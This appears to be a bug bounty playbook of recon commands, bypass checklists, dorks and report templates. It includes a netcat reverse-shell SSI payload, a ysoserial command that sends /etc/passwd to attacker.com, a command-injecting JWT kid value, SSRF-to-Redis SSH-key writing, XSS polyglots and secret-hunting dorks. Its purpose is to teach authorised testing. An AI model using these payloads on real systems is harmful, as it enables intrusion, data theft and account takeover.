The priced playbook tells you exactly what's worth your time. Automation loop: find vuln (nuclei) โ pull analytics (already reported?) โ POST report via API โ screenshot (imagemagick) โ PUT attach โ POST submit. Target types: Wide-scope w/ subdomains = wait for them to come to you, move quick on New/Updated. Large app w/ creds = go find bugs, slow + methodical + manual.
| Category | Type | $ |
|---|---|---|
| Exposed Admin Endpoint | Admin Functions Write | $800 |
| Exposed Admin Endpoint | Admin Functions Read | $600 |
| Info Disclosure | Directory contents disclosed | $150 |
| Info Disclosure | Directory structure enumeration | $170 |
| Info Disclosure | Identity of network topology | $150 |
| Info Disclosure | Identity of software architecture | $150 |
| Info Disclosure | Leaked creds โ high privilege | $700 |
| Info Disclosure | Leaked creds โ low privilege | $250 |
| Info Disclosure | Leaked API keys | $500 |
| Info Disclosure | Sensitive client information (compliance/privacy) | $300 |
| Info Disclosure | Sensitive directory/file contents | $300 |
| Info Disclosure | Sensitive source code | $150 |
| Category | Type | $ |
|---|---|---|
| Reflected Input | Spoof HTML content | $200 |
| Reflected Input | Reflected XSS (+ web cache poisoning = $$$) | $330 |
| Reflected Input | CSS Injection | $330 |
| Reflected Input | DOM-based XSS | $775 |
| CSRF | High / Low | $500 / $400 |
| Category | Type | $ |
|---|---|---|
| External Service Interaction | SSRF Full (interaction w/ internal app) | $1500 |
| External Service Interaction | SSRF Limited (interaction w/ internal IP/port) | $500 |
| Input Validation | Bypass client-side validations (persistent) | $150 |
| File Upload | Unrestricted file upload | $180 |
| SQL Injection | Full (must show database info) | $3000 |
| SQL Injection | Partial | $1500 |
| File Inclusion | LFI / Path Traversal | $850 |
| CLRF Injection | CRLF | $300 |
| Host Header Injection | Open mail relay (arbitrary external email) | $400 |
| Blind XSS | Blind XSS | $880 |
| XXE | Limited / Full | $500 / $1500 |
| Category | Type | $ |
|---|---|---|
| Account Enumeration | Username enumeration | $150 |
| Default Credentials | Admin | $700 |
| Default Credentials | Non-admin | $250 |
| Session Fixation | Session fixation | $100 |
| Captcha Bypass | Captcha bypass | $200 |
| AWS Misconfigs | S3 bucket plundering | $450 |
| Dependency Confusion | Package confusion | $750 |
| Category | Type | $ |
|---|---|---|
| Access Control | Admin โ Read/Write or Write only | $800 |
| Access Control | Admin โ Read only | $600 |
| Access Control | Non-admin โ R/W or Write (modify/delete other user's data) | $450 |
| Access Control | Non-admin โ Read only (access other user's data) | $300 |
| IDOR | Read only / Read & Write | $500 / $600 |
| Authentication | Login auth bypass | $850 |
| Authentication | 2FA/MFA auth bypass | $500 |
| Authentication | SSO auth bypass | $750 |
๐ Finding Documentation & Report Builder
A clean, reproducible report is half the payout. Fill the template โ Copy โ paste into the platform. Check for duplicates first!
๐บ๏ธ OSINT, Recon & Attack Surface Mapping Playbook 2026
From the OSINT, Reconnaissance & Attack Surface Mapping playbook. Attack surface = the sum of every entry point, grown horizontally (more hosts/subdomains) and vertically (deeper detail per host). Budget 60โ70% of engagement time on recon โ that's where most bounties are found.
subfinder -d example.com -all -o subs.txt
amass enum -d example.com -passive
bbot -t example.com -p subdomain-enum -o /tmp/scan
findomain -t example.com -qcurl "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -uorg:"Company Name" filename:.env
org:"Company Name" "api_key" OR "internal" OR "password"
user:target_employee filename:config
gh search code --query="org:examplecorp api_key"amass intel -org "Company Name"
whois example.com
whois -h whois.radb.net -- "-i origin AS13335"python3 -c "import mmh3,codecs; print(mmh3.hash(codecs.encode(open('favicon.ico','rb').read(),'base64')))"
# Shodan: http.favicon.hash:[YOUR_HASH]
# ZoomEye: icon_hash:[YOUR_HASH]puredns bruteforce wordlist.txt example.com -r resolvers.txt --wildcard-tests 50 -o resolved.txt
puredns resolve subs.txt -r resolvers.txt
dnsx -l resolved.txt -respnaabu -l hosts.txt -p 80,443,8000,8080,8443,3000,4000,5000,6000,9000,3306,5432,6379,27017 -o ports.txt
naabu -l hosts.txt -top-ports 1000 -o all_ports.txthttpx -l hosts.txt -status-code -title -tech-detect -follow-redirects -o alive.txt
gowitness scan file -f alive.txt --screenshot-path shots/python3 cloud_enum.py -k example -k corp -k internal
python3 GCPBucketBrute.py -k examplecorp -l wordlist.txt
aws s3 ls s3://bucket-name/ --region us-east-1 --no-sign-request# tools: JSpector, JS Miner, JS Link Finder, LinkFinder
grep -r "fetch(\|axios\.\|api/" *.js | grep -oP '(https?:)?//[^\s"'\''`]+' | sort -u
grep -rE "(api[_-]?key|secret|token|password|aws_|AKIA)" *.jsparamspider.py -d example.com --stream -o params.txt
arjun -u https://example.com -o found_params.txt
# Burp extension: Param Minerffuf -w dirs.txt -u https://example.com/FUZZ -ac -mc 200,201,204,301,302,307,401,403,405,500
httpx -l subs.txt -path /api/ -status-code
ffuf -w api-paths.txt -u https://example.com/FUZZ -mc 200subzy run --targets alive.txt
# reference: https://github.com/EdOverflow/can-i-take-over-xyzbbot --install-all-deps # first time only
bbot -t example.com -f subdomain-enum cloud-enum web-thorough email-enum -o /tmp/scan --web --httpx
bbot -t example.com --present --verbose
# results load into Neo4j for graph queriesnuclei -update-templates
nuclei -l alive.txt -t cves,misconfiguration,exposure,default-logins -o vulns.txt -stats
nuclei -l alive.txt -tags sqli,xss,rce,ssrf -severity high,critical -o critical.txtsubfinder -d example.com -all | httpx -silent -status-code | nuclei -t cves,exposure -silentorg:"Company Name" port:80,443,8080
ssl.cert.subject.cn:example.com
http.favicon.hash:[HASH]
hostname:*.example.com
http.title:"Dashboard" org:"Company Name"
http.html:"api" http.title:"Swagger UI"| Platform | Strengths |
|---|---|
| Shodan | Best default; huge HTTP exposure index, favicon + SSL search |
| Censys | Full IPv4 scan data, deep TLS + protocol fingerprints |
| ZoomEye | Strong for non-HTTP services + international infrastructure |
| Netlas | DNS + HTTP focus, good API for automation |
cat *.txt | sort -u > all_subs.txtnotes/ screenshots/ requests/ findings/wafw00f https://example.com
ffuf -w wordlist.txt -u https://example.com/FUZZ -rate 50 -p 0.1-0.2
httpx -l hosts.txt -c 10 -timeout 10
# rotate resolvers + user-agents to avoid DNS/HTTP fingerprinting| Phase | Tools |
|---|---|
| Subdomain enum | subfinder ยท amass ยท bbot ยท findomain |
| Resolution | puredns ยท shuffledns ยท dnsx ยท massdns |
| Port scan | naabu ยท rustscan ยท masscan |
| HTTP probing | httpx ยท wappalyzer ยท gowitness |
| Content fuzzing | ffuf ยท feroxbuster ยท gobuster |
| Parameters | ParamSpider ยท arjun ยท Param Miner |
| JS secrets | JSpector ยท JS Miner ยท JS Link Finder ยท LinkFinder |
| Cloud enum | cloud_enum ยท GCPBucketBrute ยท aws cli |
| Takeover check | subzy ยท can-i-take-over-xyz |
| Auto vuln scan | nuclei ยท bbot |
| Passive intel | Shodan ยท Censys ยท ZoomEye ยท Netlas ยท SecurityTrails |
๐ Testing 2 Factor Authentication
Full 2FA bypass checklist. Attack both the verification flow (response/status manipulation, OTP reuse) and the lifecycle (enabling/disabling 2FA, backup codes, session handling).
POST /api/enable-2fa HTTP/1.1
Host: target.com
...
{"action":"backup_codes","email":"victim@gmail.com"}{
"code":[
"1000",
"1001",
"1002",
...
"9999"
]
}๐งฉ Captcha Bypass
Bypass techniques for CAPTCHA-gated actions (login, register, OTP). Treat the captcha as just another parameter the backend may not actually verify.
X-Forwarded-Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1๐ก๏ธ Bypassing CSRF Protection
CSRF-defense bypass checklist โ the deeper, token-level counterpart to the general CSRF phase. Pairs with the Referrer regex bypass and type juggling tricks below.
POST /profile/update HTTP/1.1
Host: example.com
...
_method=PUT<meta name="referrer" content="never">
https://attacker.com?target.com
https://attacker.com;target.com
https://attacker.com/target.com/../targetPATH
https://target.com.attacker.com
https://attackertarget.com
https://target.com@attacker.com
https://attacker.com#target.com
https://attacker.com\.target.com
https://attacker.com/.target.com๐ Testing Password Reset Functionality
Account-takeover hunting through the password reset flow โ token handling, host manipulation, parameter pollution, crypto and logic flaws.
email=victim@gmail.com&email=attacker@gmail.com
email[]=victim@gmail.com&email[]=attacker@gmail.com
email=victim@gmail.com%20email=attacker@gmail.com
email=victim@gmail.com|email=attacker@gmail.com
{"email":"victim@gmail.com","email":"attacker@gmail.com"}
{"email":["victim@gmail.com","attacker@gmail.com"]}POST https://attacker.com/resetpassword.php HTTP/1.1
POST @attacker.com/resetpassword.php HTTP/1.1
POST :@attacker.com/resetpassword.php HTTP/1.1
POST /resetpassword.php@attacker.com HTTP/1.1
# SQLi in email
test@test.com'+(select*from(select(sleep(2)))a)+'
# CRLF host header injection
/resetpassword?%0d%0aHost:%20attacker.com
# Command injection in email
email=hello@`whoami`.xyz.burpcollaborator.net๐ฆ Bypassing Rate Limit Protection
Rate-limit bypass for brute-force and email-bomb scenarios โ IP spoofing, body/method mutation and the classic 127.0.0.2 trick.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwared-Host: 127.0.0.1
# double header
X-Forwarded-For:
X-Forwarded-For: 127.0.0.1POST /forgot-password?fake=1 HTTP/1.1
Host: target.com
...
email=victim@gmail.com&alsofake=2๐ซ JWT Misconfiguration
JWT attack checklist: signature verification gaps, algorithm confusion and the vulnerable kid parameter (URL / file / command injection / SQLi).
ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub"kid":"http://localhost/key.pem" โ "kid":"http://xyz.ngrok.io/jwtRS256.key"
# publicly accessible file to verify the token
"kid":"app/secret.pem" โ "kid":"../../public/main.css"
# command injection
"kid":"app/secret.pem && curl http://bing.com &"
# SQLi
"kid":"hello UNION SELECT 'key';--"git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt
python3 jwt_tool.py -M at -t "https://api.example.com/api/v1/profile" -rh "Authorization: Bearer <JWT Token>"๐ OAuth Misconfiguration
OAuth attack checklist โ complements the general OAuth & OpenID phase with the redirect_uri / state / email-parameter tricks below.
GET /oauth/token/google HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
...
Referer: https://evil.com<script>
function listener(event) {
alert(JSON.stringify(event.data));
}
var dest = window.open("https://target.com/social-login/redirect/google");
window.addEventListener("message", listener);
</script>๐ง Abusing Support Portal
Help-desk exploitation: spoofed email-change requests, @target.com accounts and the ticket system as an email-reading primitive for account takeover.
From: victim70@gmail.com
Reply To: victim71@gmail.com
To: support@target.com
Subject: Change my E-mail address
Message:
Hello,
My real email address is victim71@gmail.com. I mistakenly entered
wrong email id (victim70@gmail.com) which I don't use anymore. So I
kindly request you to change my email address from victim70@gmail.com
to victim71@gmail.com.
Thanks & Regards
Victim1. Create an account on target.com with verify@twitter.com
(if email verification is not enforced).
2. Request a password reset for the email support@target.com.
3. An email from verify@twitter.com is sent to support@target.com
containing the code.
4. A support ticket is created with the email body โ view it
on the support portal to get the reset code.๐ฅ Application-Level DoS
Application-level (not volumetric) DoS โ expensive parsing, missing limits and provider-level email abuse. Always scope-compliant & gentle: prefer time-based proof.
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<svg>
<lolz>&lol9;</lolz>
</svg>Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,...5-199,5-200,...1. Create https://attacker.com/page.html which redirects to target.com.
2. Send victim: https://attacker.com/page.html?%22%3E%3Cscript%3Ealert(1)%3C/script%3E
3. Victim gets redirected to target.com but a cookie is set:
referrer=https%3A%2F%2Fattacker.com%2Fpage.html?%22%3E%3Cscript%3Ealert(1)%3C/script%3E
4. WAF now blocks the victim because of the XSS payload in the cookie.๐งญ Recon Workflow Pipeline
A working recon pipeline: from a list of root domains to a de-duplicated, response-dumped attack surface ready for manual testing.
For authorised security testing only โ targets you have explicit written permission to test, within the scope defined by the program.
๐ง Bypassing 403 / 401 Access Control
401/403 bypass techniques. The server denies the request at the edge (reverse proxy / WAF) โ the goal is to make the backend resolve the same protected resource through a path the gatekeeper doesn't recognize.
GET /admin HTTP/1.1
Host: example.com
X-Original-URL: /admin
GET / HTTP/1.1
Host: example.com
X-Rewrite-URL: /admin/admin%2e
/admin%2f
/admin%2e%2f
/admin%3b
/admin%3f
/admin%23
/admin%20
/admin./
/admin..;
/admin..;/
/;/admin
/./admin
/admin/..
/admin//
/%2f/admin
//admin
/%2e/admin
/admin%2e%2e/
/ADMIN
/AdMiNgit clone https://github.com/daffainfo/bypass-403
cd bypass-403
go build
./bypass-403 -u https://example.com -p /admin๐ช On-Site Request Forgery (OSRF)
CSRF cousin where the vulnerable app itself issues the cross-origin request. We control a reflected value inside a src-style attribute and point it at a sensitive GET endpoint โ the request carries the visiting user's cookies.
# 1. The sensitive action (cookies, no CSRF token):
GET /change_password.php?new_password=Testing123 HTTP/1.1
Host: example.com
# 2. Upload profile picture, set the filename to the payload:
Content-Disposition: form-data; name="filename"
change_password.php?new_password=Testing123
# 3. Victim's profile renders:
<img src="../change_password.php?new_password=Testing123">
# 4. Any visitor's password silently changes to Testing123.๐ Web Cache Poisoning & Deception
Poisoning: make the cache store a harmful response served to other users. Deception: trick a caching proxy into caching private data. Look for headers like X-Cache, Cf-Cache-Status, Via, Age and Vary to spot a caching layer.
GET / HTTP/1.1
Host: www.vuln.com
X-Forwarded-Host: a."><script>alert(1)</script>
# Cached response stored & served to everyone:
<img href="https://a."><script>alert(1)</script>a.png" />GET / HTTP/1.1
Host: unity3d.com
X-Host: evil.com
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
...
<script src="https://evil.com/x.js">GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz
Set-Cookie: locale=en; domain=xyz
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
Location: https://redacted.net
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/enGET /profile/setting/.js HTTP/1.1
Host: www.vuln.com
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
# Now open the URL incognito โ victim's private page served from cache.โ๏ธ CRLF Injection
Inject \r\n into a parameter that lands in a response header โ forge headers (Set-Cookie, Location) or split the response body. Hunt on every request/response pair; redirect responses (301/302/303/307/308) are prime suspects.
https://example.com/?lang=en%0D%0ALocation:%20https://evil.com/
https://example.com/?lang=en%250D%250ALocation:%20https://evil.com/
https://example.com/?lang=en%E5%98%8A%E5%98%8DLocation:%20https://evil.com/
# Response (forged header):
HTTP/1.1 200 OK
Set-Cookie: language=en
Location: https://evil.com/โ๏ธ Server-Side Include (SSI) Injection
The server parses <!--#directive --> in .shtml pages. If user input is reflected into one, you can echo variables, read files, and on some servers execute commands.
<!--#echo var="DATE_LOCAL" -->
<!--#printenv -->
<!--#include file="includefile.html" -->
<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->๐ฅ Reflected File Download (RFD)
A reflected parameter (e.g. JSONP callback) gets downloaded as a file with an attacker-chosen extension (.bat/.svg/.html). Opening it runs attacker content โ extends classic reflected attacks beyond the browser context.
# Content-Disposition has no filename โ semicolon path tricks the browser
Content-Disposition: attachment;
http://example.com/api;/evil.bat;?callback=||calc||
# No header at all โ download attribute:
<a download href="https://example/api/?id=1&outputtype=json&callback=||calc||">Press Here</a>๐ท Tabnabbing (Reverse Tabnabbing)
Links opened with target="_blank" and no rel="noopener" let the new page grab window.opener and rewrite the origin tab to a phishing page while the victim is distracted.
<a href="..." target="_blank" />
<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://evil.com');
if (window.parent != window) window.parent.location.replace('http://evil.com');
</script>
</html>๐ Broken Link Hijacking
A target links out to a domain/page that expired โ register it and you inherit the trust, social accounts, or even session context tied to that origin.
npx broken-link-checker https://example.com --recursive --ordered
# Chrome: Check My Links extension for manual review๐ฎ Email Spoofing (SPF / DMARC)
If a domain lacks SPF, or DMARC is missing or set to p=none, anyone can send mail that looks like it comes from the company โ a staple low-hanging finding in many programs.
nslookup -type=TXT example.com
v=spf1 include:_spf.google.com ~all
nslookup -type=TXT _dmarc.example.com
v=DMARC1; p=none; rua=mailto:dmarc@yourdomain.com๐งฉ Mass Assignment
The app binds any request parameter onto an object/entity. Add fields like admin=true to a normal request and the model absorbs them โ most common in Ruby on Rails / NodeJS APIs.
POST /editdata HTTP/1.1
Host: target.com
...
username=daffa&admin=true
HTTP/1.1 200 OK
...
{"status":"success","username":"admin","isAdmin":"true"}๐ค Account Takeover Playbook
Identity theft via OAuth misconfiguration, re-signup logic, CSRF on email-change, IDOR chaining and missing rate limits โ ATO methods assembled into one playbook.
POST /newaccount HTTP/1.1
...
email=victim@mail.com&password=1234
POST /newaccount HTTP/1.1
...
email=victim@mail.com&password=hacked<html>
<body>
<form action="https://evil.com/user/change-email" method="POST">
<input type="hidden" value="victim@gmail.com"/>
<input type="submit" value="Submit Request">
</form>
</body>
</html>POST /changepassword.php HTTP/1.1
Host: site.com
...
userid=501&password=heked123๐ท Technology-Specific Misconfigurations
"What would you do if you found X?" โ per-technology checks: detect โ version โ known CVE โ default creds โ misconfig endpoints.
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
echo;idPOST /index.html HTTP/1.1
Host: abc.com
Content-Length0aaa...a:
Content-Length: 60
GET /admin/add_user.py HTTP/1.1
Host: abc.com
abc: xyz๐ Dorking & Scope Methodology
Google / GitHub / Shodan dork batteries plus a scope-size-driven recon methodology. Substitute example.com / keyword with your target.
inurl:example.com intitle:"index of"
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
inurl:example.com intitle:"index of" "config.db"
inurl:example.com allintext:"API_SECRET*" ext:env | ext:yml
inurl:example.com intext:admin ext:sql inurl:admin
inurl:example.com allintext:username,password filetype:log
site:example.com "-----BEGIN RSA PRIVATE KEY-----"
site:pastebin.com "keyword"
site:trello.com "keyword"
site:bitbucket.org "keyword"
site:*atlassian.net "keyword"
inurl:github "keyword""password" "username" extension:json
"api_key" "api_secret"
"client_secret" "client_id"
"aws_access_key_id" "aws_secret_access_key"
"AKIA[0-9A-Z]{16}"
"xox[bp]-[0-9]{12}-[0-9]{12}-[0-9]{12}-[a-z0-9]{32}" # Slack
"-----BEGIN RSA PRIVATE KEY-----"
"-----BEGIN OPENSSH PRIVATE KEY-----"
"-----BEGIN PGP PRIVATE KEY BLOCK-----"
"BEGIN DSA PRIVATE KEY"
".mlab.com password"
"rds.amazonaws.com password"
"https://hooks.slack.com/services/T[a-zA-Z0-9_]{8}/B[a-zA-Z0-9_]{8}/[a-zA-Z0-9_]{24}"
"secret_key" "secret_token" "private_key"
"jdbc:mysql://" password
extension:sql mysql dump password
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.git-credentials
filename:.bash_history
filename:id_rsa
filename:wp-config.php
filename:config.php dbpasswd
filename:secrets.yml password
filename:.htpasswd
filename:shadow path:etc
filename:.npmrc _auth
filename:settings.py SECRET_KEY
filename:.dockercfg auth
filename:prod.exs
filename:.netrc password
HEROKU_API_KEY language:shell
GITHUB_TOKEN
[WFClient] Password= extension:icacity:"Bangalore"
country:"IN"
geo:"56.913055,118.250862"
hostname:example.com
hostname:example.com,example.org
net:210.214.0.0/16
org:microsoft
asn:ASxxxx
port:21 proftpd
apache after:22/02/2009 before:14/3/2010
ssl.cert.expired:true ssl.cert.subject.cn:example.com
ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com
product:MySQL
product:MongoDB
port:9200 json
product:Redis
port:5432 PostgreSQL
product:CouchDB
"port:8087 Riak"
product:Cassandra
"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
"Docker Containers:" port:2375
"Docker-Distribution-Api-Version: registry" "200 OK" -gitlab
"authentication disabled" port:5900,5901
"root@" port:23 -login -password -name -Session
port:5555 "Android Debug Bridge" "Device"
"Authentication: disabled" port:445
"220" "230 Login successful." port:21
title:"Weave Scope" http.favicon.hash:567176827
http.title:"Index of /" http.html:".pem"
http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
http.html:"* The wp-config.php creation script uses this file"
title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944
"port:502" # Modbus ICS
"port:102" # Siemens S7 ICS
"Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995๐ค AI-Powered Bug Hunting
LLM-assisted workflows. Use AI for scope analysis, code review, deobfuscation, payload generation and report drafting โ but always manually verify AI findings before reporting and never feed sensitive data to third-party systems.
# Scope analysis
"Analyze this bug bounty scope document and identify the highest value
assets, excluded areas, and any potentially ambiguous areas to clarify
with the program."
# Subdomain pattern mining
"I've found these subdomains for target.com: [list]. What naming patterns
do you see, and what other potential subdomains might exist?"
# Tech stack โ vulns
"Based on this technology stack [list], what are the most common
vulnerabilities and misconfigurations I should look for?"
# JS review
"Analyze this JavaScript code for potential security vulnerabilities.
Focus on XSS, prototype pollution, and insecure API usage."
# Payload generation (filtered context)
"I'm testing for XSS in a parameter reflected inside a JavaScript string
context. The app filters alert(), document.cookie, and <script> tags.
Generate 5 potential bypass payloads."
# IDOR detection
"Here are two API responses from the same endpoint with different user
tokens. Identify potential IDOR vulnerabilities or access control issues."httpx -u https://target.com -tech-detect -json | jq .tech > tech_stack.json
python3 -c "
import json, openai, sys
tech = json.load(open('tech_stack.json'))
response = openai.ChatCompletion.create(
model='gpt-4',
messages=[{'role': 'user', 'content':
f'This is the detected technology stack: {tech}. What are common
security misconfigurations and vulnerabilities I should check for?'}])
print(response.choices[0].message.content)
"๐ฐ๏ธ 2025 Advanced Techniques โ Cloud, Supply Chain & AI
Forward-looking techniques from 2025_Bug_Bounty_Techniques.md: cloud-native & serverless attacks, supply-chain, CI/CD pipeline compromise, container escape, Web3/blockchain and zero-day mining. Apply where the target's stack includes these systems.
kubehound scan --cluster-context prod --output rbac-map.json
kubehound analyze --input rbac-map.json --attack-pathquery MaliciousQuery {
user(id: 1) { friends { friends { friends { friends { friends { } } } } } }
}๐ Real-World Exploit Playbook โ H1 Case Studies
Proven exploit chains + real HackerOne reports from Advanced_Vulnerability_Playbook.md. Each section: detection โ real-world example โ remediation. Bookmark the H1 reports as reference cases.
# 1. Discover internal Redis
https://target.com/fetch-image?url=http://localhost:6379/
# 2. Write SSH public key via Redis
https://target.com/fetch-image?url=redis://localhost:6379/
CONFIG SET dir /home/user/.ssh/
CONFIG SET dbfilename authorized_keys
SET payload "\n\nssh-rsa AAAA...your-ssh-key...xyz user@attacker\n\n"
SAVE# Extract target's public key, then sign a forged token
python3 jwt_tool.py <token> -X k -pk public.pemjava -jar ysoserial.jar CommonsCollections5 \
'curl -d "$(cat /etc/passwd)" https://attacker.com' | base64jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e๐งฐ Tools & Resources Arsenal
Curated catalog from tools_list.md + Advanced_Bug_Hunting_Resources.md โ grouped by stage. Installers below cover the Project Discovery + tomnomnom essentials.
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install -v github.com/projectdiscovery/katana/cmd/katana@latest
go install -v github.com/projectdiscovery/notify/cmd/notify@latest
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestgo install -v github.com/tomnomnom/anew@latest
go install -v github.com/tomnomnom/gf@latest
go install -v github.com/tomnomnom/waybackurls@latest
go install -v github.com/tomnomnom/httprobe@latest
go install -v github.com/tomnomnom/unfurl@latest
go install -v github.com/lc/gau/v2/cmd/gau@latest
go install -v github.com/ffuf/ffuf@latest๐ฎ Professional Bug Bounty Reporting
A proven report-writing flow. A clean, structured, reproducible report is half the payout: triagers must be able to reproduce your finding without guessing. Pick the right template for the job, back every claim with evidence, and never overstate severity.
| Rating | CVSS 3.1 | Description | Examples |
|---|---|---|---|
| Critical | 9.0 โ 10.0 | Immediate, widespread impact, trivial exploitation | RCE, auth bypass, SQLi with admin access |
| High | 7.0 โ 8.9 | Significant impact, may require conditions | Stored XSS, SSRF to internal services, privesc |
| Medium | 4.0 โ 6.9 | Moderate impact, user interaction or conditions | Reflected XSS, CSRF, info disclosure |
| Low | 0.1 โ 3.9 | Limited impact, difficult to exploit | Self-XSS, verbose errors, minor info leaks |
| Informational | 0.0 | No direct security impact | Best-practice violations, missing headers |
# Title
## Issue Description
A generic overview of the issue (OWASP default text) + the specific
instance identified inside the application.
## Affected URL/Area
- The affected URLs or area of the application.
## Risk Rating
- Risk: **Critical / High / Medium / Low / Informational**
- Difficulty to Exploit: **Low / Medium / High**
- Authentication Required: **Yes / No**
- User Interaction Required: **Yes / No**
- CVSS 3.1 Score: [X.X]
### Impact
- What kind of attacker could exploit this? (external, auth'd user, admin)
- What access/privileges do they need?
- What can they achieve? (data theft, privesc, service disruption)
- Who else does it affect?
### Attack Scenario
Describe a realistic scenario showing real-world exploitation.
## Steps to Reproduce/PoC
1. Step one...
2. Step two...
3. Step three...
### Request
POST /endpoint HTTP/1.1
Host: target.com
Content-Type: application/json
{"example": "payload"}
### Response
HTTP/1.1 200 OK
Content-Type: application/json
{"result": "response showing vulnerability"}
### Screenshots
- screenshot1.png - Description of what it shows
## Affected Demographic/User Base
- Who is affected? Everyone or a select set of users?
- How can it occur in normal usage? Scale of impact?
## Recommended Fix
- How to fix the issue + any quick mitigations while a full fix ships.
## References
- [1] [Reference](https://example.com)## Issue Description
- What did you find?
- Who does it affect?
- Where did you find it?
- Why is it an issue?
- How can it be exploited?
## Affected Hosts
- blah
## Proof of Concept
How to reproduce this issue
## Recommendation
How do we fix this issue?๐ API Vulnerability Report Template
API.md โ specialized report structure for API vulnerabilities. API bugs are about broken objects, broken function-level auth and abuse of the endpoint surface, so the report must document endpoint, auth context, enumeration scale and the data exposed.
| Vulnerability Type | Typical Severity | Key Impact |
|---|---|---|
| BOLA/IDOR (data access) | High โ Critical | Access to other users' data |
| Broken Authentication | Critical | Account takeover, session hijacking |
| Mass Assignment | Medium โ High | Privilege escalation, data modification |
| Excessive Data Exposure | Medium โ High | PII / sensitive data leakage |
| Rate Limiting (auth endpoints) | Medium โ High | Brute force, credential stuffing |
| Rate Limiting (other) | Low โ Medium | DoS, resource abuse |
| Security Misconfiguration | Low โ High | Varies by exposure |
| Original Value | Modified Value | Result |
|---|---|---|
| user_id=1001 | user_id=1002 | Access granted (VULN) |
| user_id=1001 | user_id=1003 | Access granted (VULN) |
| order_id=ABC123 | order_id=ABC124 | Access granted (VULN) |
| Field | Sensitivity | Example |
|---|---|---|
| PII | userb@example.com | |
| Phone | PII | +1-555-0123 |
| Address | PII | 123 Private St |
| Payment Info | Financial | Last 4 digits visible |
| Internal IDs | Technical | database_id, internal refs |
@app.route('/users/<user_id>/profile')
@require_auth
def get_profile(user_id):
current_user = get_current_user()
# Authorization check - user can only access own profile
if str(current_user.id) != user_id:
if not current_user.is_admin:
return error(403, "Access denied")
return get_user_profile(user_id)๐ธ SSRF Report Template
SSRF.md โ SSRF reports must show exactly what you reached: cloud metadata, internal services, local files. Document SSRF type, supported protocols, bypass techniques used, and the impact classification that justifies severity.
| Access Level | Severity | Examples |
|---|---|---|
| Cloud metadata (169.254.169.254) | Critical | AWS/GCP/Azure credentials, IAM roles |
| Internal services (DBs, admin panels) | Critical/High | Data exfiltration, internal exploitation |
| Internal network scanning | High | Port scanning, service discovery |
| Local file read (file://) | High | Config files, source code |
| Outbound requests only | Medium | Bypass IP restrictions, attack third parties |
